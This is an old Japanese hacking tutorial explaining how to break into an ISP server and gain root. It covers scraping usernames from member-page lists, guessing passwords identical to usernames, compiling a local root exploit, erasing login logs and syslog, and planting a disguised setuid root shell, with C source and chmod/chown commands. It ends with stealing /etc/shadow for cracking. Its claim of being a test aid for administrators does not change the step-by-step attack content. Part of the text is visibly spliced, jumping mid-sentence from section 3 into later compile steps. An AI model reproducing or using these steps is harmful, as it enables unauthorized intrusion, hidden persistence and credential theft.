==================================== The ShadowPenguin Documents No.3 - 初歩的なISPへの侵入法 - Written by うにゅん Oct.18, 1998 ==================================== 1. はじめに このテキストでは、ISP (インターネットサービスプロバイダですよ)に進入してrootを とる最も初歩的な手口を紹介します(初歩的だけに・・・です( 笑))。これに記載されて いる内容でrootを取られるアマいサーバ管理者は管理方針を変えた方がいいですよ。結構 こういうISP がありますね。このテキストは、ISP の管理をしてる管理者が、ホントにこ ういう手口で侵入されないかどうかを実験するという目的のものです。決して、どっかの ISP をこの方法で攻撃しちゃいけませんよ。 2. 準備 とりあえず、以下のものを用意してください。 1.自分のWin95/98/NTマシン。 2.白木葉子 for Win32 3.extuser for Win32 2、3はここのホームページに落ちてます。 まず、ハックにはシェルアカウントがあると、とても便利です。よって、telnetできるプ ロバかどうか検査しましょう。telnetがダメでも侵入&root の方法はいくらでもあります が、初歩的手口のテキストってことでtelnetできるISP のみ対象とします。検査は簡単で 、DOS 窓から telnet www.hoge.ne.jp として、loginプロンプトが出たらOKです。 3. 白木葉子とユーザーリスト ISP のサーバには、当たり前ですがたくさんのアカウントがあります。パス設定規則がや かましくないところだと、一人くらいはユーザ名とパスワードが同じヤツ(joe という) がいることが結構あります。白木葉子は、プロバのユーザリストを入力しておけば、自動 的にftp やpop3でjoe を見つけるツールです。ということは、ユーザーリストがないと始 まりませんね。ユーザーリスト入手の手っ取り早い方法は、プロバのホームページによく ある「会員様ホームページ一覧」ってヤツから抜いてくるのが一般的です。そういうペー ジのあるISP は、どうせあまり見る人もいないんだし、危険なんで削除しちゃいましょう ね。会員様ホームページ一覧のhtmlファイルを保存後(複数ページにまたがっている場合 はファイルを引っ付けておくと便利)、extusrでユーザーIDを抽出します。 extusrの使い方は、 extusr HTMLfile Pattern > usrlist.txt です。HTMLfileは会員様ホームページのhtmlファイル(Netscapeならファイル- 名前をつ けて保存でOK)で、Pattern はユーザー名の直前に付いているHTMLの文字列です。例えば 、htmlファイルのソースを確認して、会員のページが以下のようにリンクされている場合 Patternは、 www.test.or.jp/~ とすると、www.test.or.jp/~の文字列を発見したら、その後に続く文字から/ や" が見つ かるまでをユーザーIDとします。なお、Pattern を ban24.c とします。この状態でtelnetクライアントソフト上で「ペースト」します。終わったらct rl+Dで抜けると、hoge.cができます。コンパイルはccやgcc で行います。プロンプトが出 ている状態で、 %cc ban24.c とします。これで、ダメなら %gcc ban24.c としてみましょう。これでもダメなら、とりあえずあきらめましょう(笑)エラーが出な かったら %a.out としてみましょう。プロンプトが# になったらrootです。ダメなら、ほかのC プログラム をコンパイルして実行してみましょう。全てダメなら、やっぱりあきらめましょう( 笑) ワぁ、rootになれれば侵入者も御の字ですが、なれなかったらログはしっかり残ったまま ですから管理者も楽ですね。こういう方法以外でも、rootになる方法はたくさんあります が、ここじゃ書きません。自分で見つけましょうね。そこらへんじゅうにテキスト落ちて ますから。それでもダメなら、知恵を搾って考えましょう。 6. roothack後は? とりあえず、侵入者にとってログ消しは必須でしょうか。zap っていう有名なログ消しが ありますので、とりあえずコレを使ってみましょう。簡単ですから。簡単だけあって多少 問題はありますが、進入元はログからでは特定できませんので、よく使われています。 wtmpx.c Solaris、IRIX用 zap2.c SunOS用 これはrootじゃないと使えません。ユーザーhogeを消す場合は、コンパイル後、 #a.out hoge としてください。消せたかどうか、lastコマンドで確認しましょう。lastコマンドは、ロ グイン履歴を表示するものです。あとは、白木のアタック跡がsyslogなんかに残ってます から、これも消してみましょう。侵入後は、Rootshell も仕込まれますね。 #include main() { setuid(0); setgid(0); execl("/bin/csh","csh",NULL); } ban24.c とかのroot-explot プログラムは、セキュリティーホールを利用したものですか ら、パッチを当てられるとrootになれません。rootshell だと、いくらパッチを当てられ てもrootになれます。rootshell をコンパイル後chmod 、chown します。 #cc rootshell.c -o rootshell #chmod 4755 ./rootshell #chown root ./rootshell で、rootshell ってコマンドを一般ユーザ権限で実行すると、rootになれます。このroot shell を、バレにくそうな名前に変えて適当なディレクトリにほおりこまれると、lsくら いじゃ発見できないでしょう。 #mv ./rootshell /usr/bin/lpstop 日付が気になるなら、touch で適当にあわせます。同様の方法でログ消しも置かれます。 後は,/etc/shadow ファイルを頂いてjohntheripper 等でクラックすれば、パスワードを 多数得ることができます。そうやって被害にあったISP は今まで何社か存在しますね。あ なたのISP も気をつけましょうね(笑)